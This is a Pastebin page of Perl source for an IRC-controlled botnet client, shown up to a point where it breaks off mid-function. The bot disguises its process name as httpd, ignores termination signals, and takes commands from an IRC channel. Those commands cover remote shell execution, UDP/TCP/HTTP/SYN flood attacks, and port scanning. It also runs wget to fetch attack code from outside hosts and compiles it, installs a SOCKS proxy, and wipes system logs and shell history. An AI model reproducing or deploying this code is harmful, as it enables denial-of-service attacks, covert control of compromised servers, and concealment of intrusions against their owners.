SHARE
TWEET

perl bot

a guest Jun 16th, 2019 238 in 334 days
Not a member of Pastebin yet? Sign Up, it unlocks many cool features!
  1. #!/usr/bin/perl
  2. #-shell @ddos
  3. #-shell @commands
  4. #-shell @irc
  5. ############################################
  6. my $processo = 'usr/sbin/httpd';
  7. my $linas_max='10';
  8. my $sleep='5';
  9. my $cmd="";
  10. my $id="";
  11. ############################################
  12. my @adms=("aditya");
  13. my @canais=("#aditya");
  14. my $chanpass = "@";
  15. $num = int rand(99999);
  16. my $nick = "[L]" . $num . "";
  17. my $ircname ='[L]';
  18. chop (my $realname = '[L]');
  19. $servidor='irc.byroe.org' unless $servidor;
  20. my $porta='6667';
  21. #############################################
  22. $SIG{'INT'} = 'IGNORE';
  23. $SIG{'HUP'} = 'IGNORE';
  24. $SIG{'TERM'} = 'IGNORE';
  25. $SIG{'CHLD'} = 'IGNORE';
  26. $SIG{'PS'} = 'IGNORE';
  27. use IO::Socket;
  28. use Socket;
  29. use IO::Select;
  30. chdir("/");
  31.  
  32. #Connect
  33. $servidor="$ARGV[0]" if $ARGV[0];
  34. $0="$processo"."\0"x16;;
  35. my $pid=fork;
  36. exit if $pid;
  37. die "Masalah fork: $!" unless defined($pid);
  38.  
  39. our %irc_servers;
  40. our %DCC;
  41. my $dcc_sel = new IO::Select->new();
  42. $sel_cliente = IO::Select->new();
  43. sub sendraw {
  44.    if ($#_ == '1') {
  45.       my $socket = $_[0];
  46.       print $socket "$_[1]\n";
  47.  
  48.    } else {
  49.       print $IRC_cur_socket "$_[0]\n";
  50.    }
  51. }
  52.  
  53. sub conectar {
  54.    my $meunick = $_[0];
  55.    my $servidor_con = $_[1];
  56.    my $porta_con = $_[2];
  57.  
  58.    my $IRC_socket = IO::Socket::INET->new(Proto=>"tcp", PeerAddr=>"$servidor_con",
  59.    PeerPort=>$porta_con) or return(1);
  60.    if (defined($IRC_socket)) {
  61.       $IRC_cur_socket = $IRC_socket;
  62.       $IRC_socket->autoflush(1);
  63.       $sel_cliente->add($IRC_socket);
  64.       $irc_servers{$IRC_cur_socket}{'host'} = "$servidor_con";
  65.       $irc_servers{$IRC_cur_socket}{'porta'} = "$porta_con";
  66.       $irc_servers{$IRC_cur_socket}{'nick'} = $meunick;
  67.       $irc_servers{$IRC_cur_socket}{'meuip'} = $IRC_socket->sockhost;
  68.       nick("$meunick");
  69.       sendraw("PASS ");
  70.       sendraw("USER $ircname ".$IRC_socket->sockhost." $servidor_con :$realname");
  71.       sleep 1;
  72.    }
  73. }
  74.  
  75. my $line_temp;
  76. while( 1 ) {
  77.    while (!(keys(%irc_servers))) { conectar("$nick", "$servidor", "$porta"); }
  78.    select(undef, undef, undef, 0.01); #sleeping for a fraction of a second keeps the script from running to 100 cpu usage ^_^
  79.    delete($irc_servers{''}) if (defined($irc_servers{''}));
  80.    my @ready = $sel_cliente->can_read(0);
  81.    next unless(@ready);
  82.    foreach $fh (@ready) {
  83.       $IRC_cur_socket = $fh;
  84.       $meunick = $irc_servers{$IRC_cur_socket}{'nick'};
  85.       $nread = sysread($fh, $msg, 4096);
  86.       if ($nread == 0) {
  87.          $sel_cliente->remove($fh);
  88.          $fh->close;
  89.          delete($irc_servers{$fh});
  90.       }
  91.       @lines = split (/\n/, $msg);
  92.       for(my $c=0; $c<= $#lines; $c++) {
  93.          $line = $lines[$c];
  94.          $line=$line_temp.$line if ($line_temp);
  95.          $line_temp='';
  96.          $line =~ s/\r$//;
  97.          unless ($c == $#lines) {
  98.             parse("$line");
  99.          } else {
  100.             if ($#lines == 0) {
  101.                parse("$line");
  102.             } elsif ($lines[$c] =~ /\r$/) {
  103.                parse("$line");
  104.             } elsif ($line =~ /^(\S+) NOTICE AUTH :\*\*\*/) {
  105.                parse("$line");  
  106.             } else {
  107.                $line_temp = $line;
  108.             }
  109.          }
  110.       }
  111.    }
  112. }
  113.  
  114. sub parse {
  115.    my $servarg = shift;
  116.    if ($servarg =~ /^PING \:(.*)/) {
  117.       sendraw("PONG :$1");
  118.    } elsif ($servarg =~ /^\:(.+?)\!(.+?)\@(.+?) PRIVMSG (.+?) \:(.+)/) {
  119.       my $pn=$1; my $hostmask= $3; my $onde = $4; my $args = $5;
  120.       if ($args =~ /^\001VERSION\001$/) {
  121.          notice("$pn", "\001VERSION mIRC v7.25 CyberBot\001");
  122.       }
  123.       if (grep {$_ =~ /^\Q$pn\E$/i } @adms ) {
  124.          if ($onde eq "$meunick"){
  125.             shell("$pn", "$args");
  126.          }
  127. #End of Connect
  128.          if ($args =~ /^(\Q$meunick\E|\-shell)\s+(.*)/ ) {
  129.             my $natrix = $1;
  130.             my $arg = $2;
  131.             if ($arg =~ /^\!(.*)/) {
  132.                ircase("$pn","$onde","$1") unless ($natrix eq "-shell" and $arg =~ /^\!nick/);
  133.             } elsif ($arg =~ /^\@(.*)/) {
  134.                $ondep = $onde;
  135.                $ondep = $pn if $onde eq $meunick;
  136.                bfunc("$ondep","$1");
  137.             } else {
  138.                shell("$onde", "$arg");
  139.             }
  140.          }
  141.       }
  142.    }
  143. ######################### End of prefix
  144.    elsif ($servarg =~ /^\:(.+?)\!(.+?)\@(.+?)\s+NICK\s+\:(\S+)/i) {
  145.       if (lc($1) eq lc($meunick)) {
  146.          $meunick=$4;
  147.          $irc_servers{$IRC_cur_socket}{'nick'} = $meunick;
  148.       }
  149.    } elsif ($servarg =~ m/^\:(.+?)\s+433/i) {
  150.       nick("$meunick|".int rand(999999));
  151.    } elsif ($servarg =~ m/^\:(.+?)\s+001\s+(\S+)\s/i) {
  152.       $meunick = $2;
  153.       $irc_servers{$IRC_cur_socket}{'nick'} = $meunick;
  154.       $irc_servers{$IRC_cur_socket}{'nome'} = "$1";
  155.       foreach my $canal (@canais) {
  156.          sendraw("JOIN $canal $chanpass");
  157.       }
  158.    }
  159. }
  160.  
  161. sub bfunc {
  162.    my $printl = $_[0];
  163.    my $funcarg = $_[1];
  164.    if (my $pid = fork) {
  165.       waitpid($pid, 0);
  166.    } else {
  167.       if (fork) {
  168.          exit;
  169.       } else {
  170.  
  171.          if ($funcarg =~ /^killme/) {
  172.             sendraw($IRC_cur_socket, "QUIT :");
  173.             $killd = "kill -9 ".fork;
  174.             system (`$killd`);
  175.          }
  176. ######################
  177. #                    Commands                      #
  178. ######################
  179.          if ($funcarg =~ /^commands/) {
  180.             sendraw($IRC_cur_socket, "PRIVMSG $printl :4,1[14@9-[Devising's Modded  Perl Bot Commands List]-14@4] ");
  181.             sendraw($IRC_cur_socket, "PRIVMSG $printl :4,1[14@13-----[Hacking Based]-----14@4] ");
  182.             sendraw($IRC_cur_socket, "PRIVMSG $printl :7-shell 14@3multiscan <vuln> <dork>");
  183.             sendraw($IRC_cur_socket, "PRIVMSG $printl :7-shell 14@3socks5");
  184.             sendraw($IRC_cur_socket, "PRIVMSG $printl :7-shell 14@3sql <vuln> <dork>");
  185.             sendraw($IRC_cur_socket, "PRIVMSG $printl :7-shell 14@3portscan <ip>");
  186.             sendraw($IRC_cur_socket, "PRIVMSG $printl :7-shell 14@3logcleaner");
  187.             sendraw($IRC_cur_socket, "PRIVMSG $printl :7-shell 14@3sendmail <subject> <sender> <recipient> <message>");
  188.             sendraw($IRC_cur_socket, "PRIVMSG $printl :7-shell 14@3system");
  189.             sendraw($IRC_cur_socket, "PRIVMSG $printl :7-shell 14@3cleartmp");
  190.             sendraw($IRC_cur_socket, "PRIVMSG $printl :7-shell 14@3rootable");
  191.             sendraw($IRC_cur_socket, "PRIVMSG $printl :7-shell 14@3nmap <ip> <beginport> <endport>");
  192.             sendraw($IRC_cur_socket, "PRIVMSG $printl :7-shell 14@3back <ip><port>");    
  193.             sendraw($IRC_cur_socket, "PRIVMSG $printl :7-shell 14@3linuxhelp");
  194.             sendraw($IRC_cur_socket, "PRIVMSG $printl :7-shell 14@3cd tmp:. | for example");
  195.             sendraw($IRC_cur_socket, "PRIVMSG $printl :4,1[14@13-----[Advisory/New Based]-----14@4] ");
  196.             sendraw($IRC_cur_socket, "PRIVMSG $printl :7-shell 14@3packetstorm");
  197.             sendraw($IRC_cur_socket, "PRIVMSG $printl :7-shell 14@3milw0rm");
  198.             sendraw($IRC_cur_socket, "PRIVMSG $printl :4,1[14@13-----[DDos Based]-----14@4] ");
  199.             sendraw($IRC_cur_socket, "PRIVMSG $printl :7-shell 14@3udpflood <host> <packet size> <time>");
  200.             sendraw($IRC_cur_socket, "PRIVMSG $printl :7-shell 14@3udp <host> <port> <packet size> <time>");
  201.             sendraw($IRC_cur_socket, "PRIVMSG $printl :7-shell 14@3tcpflood <host> <port> <packet size> <time>");
  202.             sendraw($IRC_cur_socket, "PRIVMSG $printl :7-shell 14@3httpflood <host> <time>");  
  203.             sendraw($IRC_cur_socket, "PRIVMSG $printl :7-shell 14@3sqlflood <host> <time>");
  204.             sendraw($IRC_cur_socket, "PRIVMSG $printl :4,1[14@13-----[IRC Based]-----14@4] ");
  205.             sendraw($IRC_cur_socket, "PRIVMSG $printl :7-shell 14@3killme");    
  206.             sendraw($IRC_cur_socket, "PRIVMSG $printl :7-shell 14@3join #channel");    
  207.             sendraw($IRC_cur_socket, "PRIVMSG $printl :7-shell 14@3part #channel");
  208.             sendraw($IRC_cur_socket, "PRIVMSG $printl :7-shell 14@3reset");
  209.             sendraw($IRC_cur_socket, "PRIVMSG $printl :7-shell 14@3voice <who> ");
  210.             sendraw($IRC_cur_socket, "PRIVMSG $printl :7-shell 14@3owner <who> ");
  211.             sendraw($IRC_cur_socket, "PRIVMSG $printl :7-shell 14@3deowner <who> ");
  212.             sendraw($IRC_cur_socket, "PRIVMSG $printl :7-shell 14@3devoice <who> ");
  213.             sendraw($IRC_cur_socket, "PRIVMSG $printl :7-shell 14@3halfop <who> ");
  214.             sendraw($IRC_cur_socket, "PRIVMSG $printl :7-shell 14@3dehalfop <who> ");
  215.             sendraw($IRC_cur_socket, "PRIVMSG $printl :7-shell 14@3op <who> ");
  216.             sendraw($IRC_cur_socket, "PRIVMSG $printl :7-shell 14@3deop <who> ");
  217.             sendraw($IRC_cur_socket, "PRIVMSG $printl :4,1[14@13-----[Flooding Based]-----14@4] ");
  218.             sendraw($IRC_cur_socket, "PRIVMSG $printl :7-shell 14@3msgflood <who> ");
  219.             sendraw($IRC_cur_socket, "PRIVMSG $printl :7-shell 14@3dccflood <who> ");
  220.             sendraw($IRC_cur_socket, "PRIVMSG $printl :7-shell 14@3ctcpflood <who> ");
  221.             sendraw($IRC_cur_socket, "PRIVMSG $printl :7-shell 14@3noticeflood <who> ");
  222.             sendraw($IRC_cur_socket, "PRIVMSG $printl :7-shell 14@3channelflood");
  223.             sendraw($IRC_cur_socket, "PRIVMSG $printl :7-shell 14@3maxiflood <who> ");
  224. }
  225.  
  226.          if ($funcarg =~ /^linuxhelp/) {
  227.             sendraw($IRC_cur_socket, "PRIVMSG $printl :4,1[14@13-----[Linux Help]-----14@4] ");
  228.             sendraw($IRC_cur_socket, "PRIVMSG $printl :7-shell 14@ 3Dir where you are : pwd");
  229.             sendraw($IRC_cur_socket, "PRIVMSG $printl :7-shell 14@ 3Start a Perl file : perl file.pl");
  230.             sendraw($IRC_cur_socket, "PRIVMSG $printl :7-shell 14@ 3Go back from dir : cd ..");
  231.             sendraw($IRC_cur_socket, "PRIVMSG $printl :7-shell 14@ 3Force to Remove a file/dir : rm -rf file/dir;ls -la");
  232.             sendraw($IRC_cur_socket, "PRIVMSG $printl :7-shell 14@ 3Show all files/dir with permissions : ls -lia");
  233.             sendraw($IRC_cur_socket, "PRIVMSG $printl :7-shell 14@ 3Find config.inc.php files : find / -type f -name config.inc.php");
  234.             sendraw($IRC_cur_socket, "PRIVMSG $printl :7-shell 14@ 3Find all writable folders and files : find / -perm -2 -ls");
  235.             sendraw($IRC_cur_socket, "PRIVMSG $printl :7-shell 14@ 3Find all .htpasswd files : find / -type f -name .htpasswd");
  236.             sendraw($IRC_cur_socket, "PRIVMSG $printl :7-shell 14@ 3Find all service.pwd files : find / -type f -name service.pwd");
  237.          }
  238.            
  239.          if ($funcarg =~ /^help/) {
  240.              sendraw($IRC_cur_socket, "PRIVMSG $printl :4,1[14@13-----[Help Commands]-----14@4] ");
  241.             sendraw($IRC_cur_socket, "PRIVMSG $printl :7-shell 14@3flooding - For IRC Flooding Help");
  242.             sendraw($IRC_cur_socket, "PRIVMSG $printl :7-shell 14@3irc - For IRC Bot Command Help ");
  243.             sendraw($IRC_cur_socket, "PRIVMSG $printl :7-shell 14@3ddos - For DDos Command Help");
  244.             sendraw($IRC_cur_socket, "PRIVMSG $printl :7-shell 14@3news - For Security News Command Help ");
  245.             sendraw($IRC_cur_socket, "PRIVMSG $printl :7-shell 14@3hacking - For Hacking Command Help");
  246.             sendraw($IRC_cur_socket, "PRIVMSG $printl :7-shell 14@3linuxhelp - For Linux Help");
  247.             sendraw($IRC_cur_socket, "PRIVMSG $printl :7-shell 14@3extras");
  248.             sendraw($IRC_cur_socket, "PRIVMSG $printl :7-shell 14@3version - For version info");
  249.          }
  250.  
  251.          if ($funcarg =~ /^flooding/) {
  252.             sendraw($IRC_cur_socket, "PRIVMSG $printl :4,1[14@13-----[Flooding Based]-----14@4] ");
  253.             sendraw($IRC_cur_socket, "PRIVMSG $printl :7-shell 14@3msgflood <who> ");
  254.             sendraw($IRC_cur_socket, "PRIVMSG $printl :7-shell 14@3dccflood <who> ");
  255.             sendraw($IRC_cur_socket, "PRIVMSG $printl :7-shell 14@3ctcpflood <who> ");
  256.             sendraw($IRC_cur_socket, "PRIVMSG $printl :7-shell 14@3noticeflood <who> ");
  257.             sendraw($IRC_cur_socket, "PRIVMSG $printl :7-shell 14@3channelflood");
  258.             sendraw($IRC_cur_socket, "PRIVMSG $printl :7-shell 14@3maxiflood <who> ");
  259.          }
  260.            
  261.          if ($funcarg =~ /^irc/) {
  262.             sendraw($IRC_cur_socket, "PRIVMSG $printl :12,1[14@13-----[IRC Commands]-----14@12] ");
  263.             sendraw($IRC_cur_socket, "PRIVMSG $printl :7-shell 14@3voice <who> ");
  264.             sendraw($IRC_cur_socket, "PRIVMSG $printl :7-shell 14@3owner <who> ");
  265.             sendraw($IRC_cur_socket, "PRIVMSG $printl :7-shell 14@3deowner <who> ");
  266.             sendraw($IRC_cur_socket, "PRIVMSG $printl :7-shell 14@3devoice <who> ");
  267.             sendraw($IRC_cur_socket, "PRIVMSG $printl :7-shell 14@3halfop <who> ");
  268.             sendraw($IRC_cur_socket, "PRIVMSG $printl :7-shell 14@3dehalfop <who> ");
  269.             sendraw($IRC_cur_socket, "PRIVMSG $printl :7-shell 14@3op <who> ");
  270.             sendraw($IRC_cur_socket, "PRIVMSG $printl :7-shell 14@3deop <who> ");
  271.          }    
  272.            
  273.          if ($funcarg =~ /^ddos/) {
  274.             sendraw($IRC_cur_socket, "PRIVMSG $printl :12,1[14@13-----[Ddos Commands]-----14@12] ");
  275.             sendraw($IRC_cur_socket, "PRIVMSG $printl :7-shell 14@3udpflood <host> <packet size> <time>");
  276.             sendraw($IRC_cur_socket, "PRIVMSG $printl :7-shell 14@3udp <host> <port> <packet size> <time>");
  277.             sendraw($IRC_cur_socket, "PRIVMSG $printl :7-shell 14@3tcpflood <host> <port> <packet size> <time>");
  278.             sendraw($IRC_cur_socket, "PRIVMSG $printl :7-shell 14@3httpflood <host> <time>");  
  279.             sendraw($IRC_cur_socket, "PRIVMSG $printl :7-shell 14@3sqlflood <host> <time>");
  280.             sendraw($IRC_cur_socket, "PRIVMSG $printl :7[14@13-----[Extras Ddos Commands]-----14@12] ");
  281.             sendraw($IRC_cur_socket, "PRIVMSG $printl :7-shell 14@3syn <destip> <destport> <time in seconds>");
  282.                         sendraw($IRC_cur_socket, "PRIVMSG $printl :7-shell 14@3sudp <host> <port> <reflection file> <threads> <time> | Requires ./50 installed");
  283.             sendraw($IRC_cur_socket, "PRIVMSG $printl :7[14@13Go to @extras to install required scripts14@12] ");
  284.              
  285.          }    
  286.  
  287.          if ($funcarg =~ /^news/) {
  288.             sendraw($IRC_cur_socket, "PRIVMSG $printl :12,1[14@13-----[News Commands]-----14@12] ");
  289.             sendraw($IRC_cur_socket, "PRIVMSG $printl :7-shell 14@3packetstorm");
  290.             sendraw($IRC_cur_socket, "PRIVMSG $printl :7-shell 14@3milw0rm");
  291.          }    
  292.  
  293.          if ($funcarg =~ /^hacking/) {
  294.             sendraw($IRC_cur_socket, "PRIVMSG $printl :12,1[14@13-----[Hacking Commands]-----14@12] ");
  295.             sendraw($IRC_cur_socket, "PRIVMSG $printl :7-shell 14@3multiscan <vuln> <dork>");
  296.             sendraw($IRC_cur_socket, "PRIVMSG $printl :7-shell 14@3socks5");
  297.             sendraw($IRC_cur_socket, "PRIVMSG $printl :7-shell 14@3portscan <ip>");
  298.             sendraw($IRC_cur_socket, "PRIVMSG $printl :7-shell 14@3logcleaner");
  299.             sendraw($IRC_cur_socket, "PRIVMSG $printl :7-shell 14@3sendmail <subject> <sender> <recipient> <message>");
  300.             sendraw($IRC_cur_socket, "PRIVMSG $printl :7-shell 14@3system");
  301.             sendraw($IRC_cur_socket, "PRIVMSG $printl :7-shell 14@3cleartmp");
  302.             sendraw($IRC_cur_socket, "PRIVMSG $printl :7-shell 14@3rootable");
  303.             sendraw($IRC_cur_socket, "PRIVMSG $printl :7-shell 14@3nmap <ip> <beginport> <endport>");
  304.             sendraw($IRC_cur_socket, "PRIVMSG $printl :7-shell 14@3back <ip><port>");    
  305.             sendraw($IRC_cur_socket, "PRIVMSG $printl :7-shell 14@3linuxhelp");
  306.             sendraw($IRC_cur_socket, "PRIVMSG $printl :7-shell 14@3cd tmp:. | for example");
  307.          }      
  308.               if ($funcarg =~ /^extras/) {
  309.             sendraw($IRC_cur_socket, "PRIVMSG $printl :12,1[14@13-----[Extras]-----14@12] ");
  310.             sendraw($IRC_cur_socket, "PRIVMSG $printl :12,1[14@13To install these scripts you need gcc installed14@12] ");
  311.             sendraw($IRC_cur_socket, "PRIVMSG $printl :7-shell 14@3install-syn Syn.c");      
  312.             sendraw($IRC_cur_socket, "PRIVMSG $printl :7-shell 14@3install-50x 50x.c");                    
  313.          }          
  314. ######################
  315. #   End of  Help     #
  316. ######################
  317.  
  318.  
  319. ######################
  320. #     Commands       #
  321. ######################
  322.  if ($funcarg =~ /^system/) {
  323.  sendraw($IRC_cur_socket, "PRIVMSG $printl Come on and hit that ricky");
  324.  }
  325.          if ($funcarg =~ /^sys/) {
  326.             $uname=`uname -a`;
  327.             $uptime=`uptime`;
  328.             $ownd=`pwd`;
  329.             $distro=`cat /etc/issue`;
  330.             $id=`id`;
  331.             $un=`uname -sro`;
  332.             sendraw($IRC_cur_socket, "PRIVMSG $printl :4|12.:4System Info12:.4| 12Info BOT : 7 Servidor :Hiden : 6667");
  333.             sendraw($IRC_cur_socket, "PRIVMSG $printl :4|12.:4System Info12:.4| 12Uname -a     : 7 $uname");
  334.             sendraw($IRC_cur_socket, "PRIVMSG $printl :4|12.:4System Info12:.4| 12Uptime       : 7 $uptime");
  335.             sendraw($IRC_cur_socket, "PRIVMSG $printl :4|12.:4System Info12:.4| 12Own Prosses  : 7 $processo");
  336.             sendraw($IRC_cur_socket, "PRIVMSG $printl :4|12.:4System Info12:.4| 12ID           : 7 $id");
  337.             sendraw($IRC_cur_socket, "PRIVMSG $printl :4|12.:4System Info12:.4| 12Own Dir      : 7 $ownd");
  338.             sendraw($IRC_cur_socket, "PRIVMSG $printl :4|12.:4System Info12:.4| 12OS           : 7 $distro");
  339.             sendraw($IRC_cur_socket, "PRIVMSG $printl :4|12.:4System Info12:.4| 12Owner        : 7 fuck");
  340.             sendraw($IRC_cur_socket, "PRIVMSG $printl :4|12.:4System Info12:.4| 12Channel      : 7 #berau");
  341.          }
  342.  
  343.          if ($funcarg =~ /^milw0rm/) {
  344.             my @ltt=();
  345.             my @bug=();
  346.             my $x;
  347.             my $page="";
  348.             my $socke = IO::Socket::INET->new(PeerAddr=>"milw0rm.com",PeerPort=>"80",Proto=>"tcp") or return;
  349.             print $socke "GET http://milw0rm.com/rss.php HTTP/1.0\r\nHost: milw0rm.com\r\nAccept: */*\r\nUser-Agent: Mozilla/5.0\r\n\r\n";
  350.             my @r = <$socke>;
  351.             $page="@r";
  352.             close($socke);
  353.             while ($page =~  m/<title>(.*)</g){
  354.                $x = $1;
  355.                if ($x =~ /\&lt\;/) {
  356.                   $x =~ s/\&lt\;/</g;
  357.                }          
  358.                if ($x !~ /milw0rm/) {
  359.                   push (@bug,$x);
  360.                }
  361.             }
  362.             while ($page =~  m/<link.*expl.*([0-9]...)</g) {
  363.                if ($1 !~ m/milw0rm.com|exploits|en/){
  364.                   push (@ltt,"http://www.milw0rm.com/exploits/$1 ");
  365.                }
  366.             }
  367.             sendraw($IRC_cur_socket, "PRIVMSG $printl :4|12.:3milw0rm12:.4|12 Latest exploits :");
  368.             foreach $x (0..(@ltt - 1)) {
  369.                sendraw($IRC_cur_socket, "PRIVMSG $printl :4|12.:3milw0rm12:.4|12  $bug[$x] - $ltt[$x]");
  370.                sleep 1;
  371.             }
  372.          }
  373. ######################
  374. #   Devisings shit   #
  375. ######################
  376. #######################
  377. #      Version info   #
  378. #######################      
  379.          if ($funcarg =~ /^version/) {
  380.            sendraw($IRC_cur_socket, "PRIVMSG $printl :12|4.:3Version4:.12|4 LiGhT's Modded perlbot v2.");
  381.          }
  382. #######################
  383. # End of Version info #
  384. #######################          
  385.            #some links could be dead just updated there public scripts noob
  386.            if ($funcarg =~ /^install-syn/) {
  387.             sendraw($IRC_cur_socket, "PRIVMSG $printl :12|4.:3Installing Syn4:.12|4 Please wait...");
  388.             system 'cd /root';
  389.             system 'wget http://server.perpetual.pw/syn.c';
  390.             system 'gcc -o syn syn.c -pthread';
  391.             system 'rm -rf syn.c';
  392.             sendraw($IRC_cur_socket, "PRIVMSG $printl :12|4.:3Installing Syn4:.12|4|--Syn is now installed and compiled :)");
  393.          }
  394.                  
  395.            if ($funcarg =~ /^syn\s+(.*)\s+(\d+)\s+(\d+)/) {
  396.             sendraw($IRC_cur_socket, "PRIVMSG $printl :4|12.:3SYN DDoS12:.4|12 Attacking 4 ".$1.":".$2."12 for 4 ".$3." 12 seconds.");
  397.             system "cd /root";
  398.             system "./syn ".$1." ".$2." ".$3." ";
  399.             sendraw($IRC_cur_socket, "PRIVMSG $printl :4|12.:3SYN DDoS12:.4|12 Attack Finished 4");
  400.          }
  401.                  
  402.  
  403.  
  404. ######################
  405. #   End of Devisings #
  406. #        Shit        #
  407. ######################
  408.  
  409.  
  410. ######################
  411. #      Portscan      #
  412. ######################
  413.  
  414.          if ($funcarg =~ /^portscan (.*)/) {
  415.             my $hostip="$1";
  416.             @portas=("15","19","98","20","21","22","23","25","37","39","42","43","49","53","63","69","79","80","101","106","107","109","110","111","113","115","117","119","135","137","139","143","174","194","389","389","427","443","444","445","464","488","512","513","514","520","540","546","548","565","609","631","636","694","749","750","767","774","783","808","902","988","993","994","995","1005","1025","1033","1066","1079","1080","1109","1433","1434","1512","2049","2105","2432","2583","3128","3306","4321","5000","5222","5223","5269","5555","6660","6661","6662","6663","6665","6666","6667","6668","6669","7000","7001","7741","8000","8018","8080","8200","10000","19150","27374","31310","33133","33733","55555");
  417.             my (@aberta, %porta_banner);
  418.             sendraw($IRC_cur_socket, "PRIVMSG $printl :12[4@3Port-Scanner12] Scanning for open ports on ".$1." 12 started .");
  419.             foreach my $porta (@portas)  {
  420.                my $scansock = IO::Socket::INET->new(PeerAddr => $hostip, PeerPort => $porta, Proto =>
  421.                   'tcp', Timeout => 4);
  422.                if ($scansock) {
  423.                   push (@aberta, $porta);
  424.                   $scansock->close;
  425.                }
  426.             }
  427.    
  428.             if (@aberta) {
  429.                sendraw($IRC_cur_socket, "PRIVMSG $printl :12[4@3Port-Scanner12] Open ports founded: @aberta");
  430.             } else {
  431.                sendraw($IRC_cur_socket, "PRIVMSG $printl :12[4@3Port-Scanner12] No open ports foundend.");
  432.             }
  433.          }
  434.  
  435. ######################
  436. #  End of  Portscan  #
  437. #####################
  438. #####################
  439. # Chk The News from PacketStorm#
  440. ######################
  441. if ($funcarg =~ /^packetstorm/) {  
  442.    my $c=0;
  443.    my $x;
  444.    my @ttt=();
  445.    my @ttt1=();  
  446.    my $sock = IO::Socket::INET->new(PeerAddr=>"www.packetstormsecurity.org",PeerPort=>"80",Proto=>"tcp") or return;  
  447.    print $sock "GET /whatsnew20.xml HTTP/1.0\r\n";
  448.    print $sock "Host: www.packetstormsecurity.org\r\n";
  449.    print $sock "Accept: */*\r\n";
  450.    print $sock "User-Agent: Mozilla/5.0\r\n\r\n";  
  451.    my @r = <$sock>;
  452.    $page="@r";
  453.    close($sock);
  454.    while ($page =~  m/<link>(.*)<\/link>/g)
  455.    {
  456.            push(@ttt,$1);
  457.    }
  458.    while ($page =~  m/<description>(.*)<\/description>/g)
  459.    {  
  460.           push(@ttt1,$1);
  461.    }
  462.    foreach $x (0..(@ttt - 1))
  463.    {
  464.          sendraw($IRC_cur_socket, "PRIVMSG $printl :12[4@3PacketStorm12] ".$ttt[$x]." ".$ttt1[$x]."");
  465.       sleep 3;
  466.       $c++;
  467.    }
  468. }
  469. ######################
  470. #Auto Install Socks V5 using Mocks#
  471. ######################
  472. if ($funcarg =~ /^socks5/) {
  473.  
  474.    sendraw($IRC_cur_socket, "PRIVMSG $printl :12[4@3SocksV512]12 Installing Mocks please wait4");
  475.       system 'cd /tmp';
  476.       system 'wget http://switch.dl.sourceforge.net/sourceforge/mocks/mocks-0.0.2.tar.gz';
  477.       system 'tar -xvfz mocks-0.0.2.tar.gz';
  478.       system 'rm -rf mocks-0.0.2.tar.gz';
  479.       system 'cd mocks-0.0.2';
  480.       system 'rm -rf mocks.conf';
  481.       system 'curl -O http://andromeda.covers.de/221/mocks.conf';
  482.       system 'touch mocks.log';
  483.       system 'chmod 0 mocks.log';
  484.          sleep(2);
  485.       system './mocks start';
  486.          sleep(4);
  487.       sendraw($IRC_cur_socket, "PRIVMSG $printl :12[4@3SocksV512]12 Looks like its succesfully installed lets do the last things4   ");
  488.  
  489.       #lets grab ip
  490.       $net = `/sbin/ifconfig | grep 'eth0'`;
  491.       if (length($net))
  492.       {
  493.       $net = `/sbin/ifconfig eth0 | grep 'inet addr'`;
  494.       if (!length($net))
  495.       {
  496.       $net = `/sbin/ifconfig eth0 | grep 'inet end.'`;
  497.       }
  498.          if (length($net))
  499.       {
  500.          chop($net);
  501.          @netip = split/:/,$net;
  502.          $netip[1] =~ /(\d{1,3}).(\d{1,3}).(\d{1,3}).(\d{1,3})/;
  503.          $ip = $1 .".". $2 .".". $3 .".". $4;
  504.            
  505.             #and print it ^^    
  506.             sendraw($IRC_cur_socket, "PRIVMSG $printl :12[4@3SocksV512] Connect here :4 ". $ip .":8787 ");
  507.          }
  508.       else
  509.    {
  510.       sendraw($IRC_cur_socket, "PRIVMSG $printl :12[4@3SocksV512] IP not founded ");
  511.    }
  512. }
  513. else
  514. {
  515.       sendraw($IRC_cur_socket, "PRIVMSG $printl :12[4@3SocksV512] ERROR WHILE INSTALLING MOCKS ");
  516. }
  517. }
  518. ######################
  519. #        Nmap        #  
  520. ######################
  521.    if ($funcarg =~ /^nmap\s+(.*)\s+(\d+)\s+(\d+)/){
  522.          my $hostip="$1";
  523.          my $portstart = "$2";
  524.          my $portend = "$3";
  525.          my (@abertas, %porta_banner);
  526.        sendraw($IRC_cur_socket, "PRIVMSG $printl : Nmap PortScan 12:. 4|  4: $1:. |.: 4Ports 12:.  4 $2-$3");
  527.        foreach my $porta ($portstart..$portend){
  528.                my $scansock = IO::Socket::INET->new(PeerAddr => $hostip, PeerPort => $porta, Proto => 'tcp', Timeout => $portime);
  529.     if ($scansock) {
  530.                  push (@abertas, $porta);
  531.                  $scansock->close;
  532.                  if ($xstats){
  533.         sendraw($IRC_cur_socket, "PRIVMSG $printl :12[4@3Nmap12]  Nmap PortScan :. |Founded  4 $porta"."/Open");
  534.                  }
  535.                }
  536.              }
  537.              if (@abertas) {
  538.         sendraw($IRC_cur_socket, "PRIVMSG $printl :12[4@3Nmap12]  Nmap PortScan 12:. 4| Complete ");
  539.              } else {
  540.         sendraw($IRC_cur_socket, "PRIVMSG $printl :12[4@3Nmap12]  Nmap PortScan 12:. 4| No open ports have been founded  13");
  541.              }
  542.           }
  543. ######################
  544. #    End of Nmap     #  
  545. ######################
  546. ######################
  547. #    Log Cleaner     #  
  548. ######################
  549. if ($funcarg =~ /^logcleaner/) {
  550. sendraw($IRC_cur_socket, "PRIVMSG $printl :12[4@3Log-Cleaner12]  LogCleaner :. |  Sorry our masters, nigga gotta big dick");
  551. }
  552. if ($funcarg =~ /^Cleandabitch/) {
  553. sendraw($IRC_cur_socket, "PRIVMSG $printl :12[4@3Log-Cleaner12]  LogCleaner :. |  This process can be long, just wait");
  554.     system 'rm -rf /var/log/lastlog';
  555.     system 'rm -rf /var/log/wtmp';
  556.    system 'rm -rf /etc/wtmp';
  557.    system 'rm -rf /var/run/utmp';
  558.    system 'rm -rf /etc/utmp';
  559.    system 'rm -rf /var/log';
  560.    system 'rm -rf /var/logs';
  561.    system 'rm -rf /var/adm';
  562.    system 'rm -rf /var/apache/log';
  563.    system 'rm -rf /var/apache/logs';
  564.    system 'rm -rf /usr/local/apache/log';
  565.    system 'rm -rf /usr/local/apache/logs';
  566.    system 'rm -rf /root/.bash_history';
  567.    system 'rm -rf /root/.ksh_history';
  568. sendraw($IRC_cur_socket, "PRIVMSG $printl :12[4@3Log-Cleaner12]  LogCleaner :. |  All default log and bash_history files erased");
  569.       sleep 1;
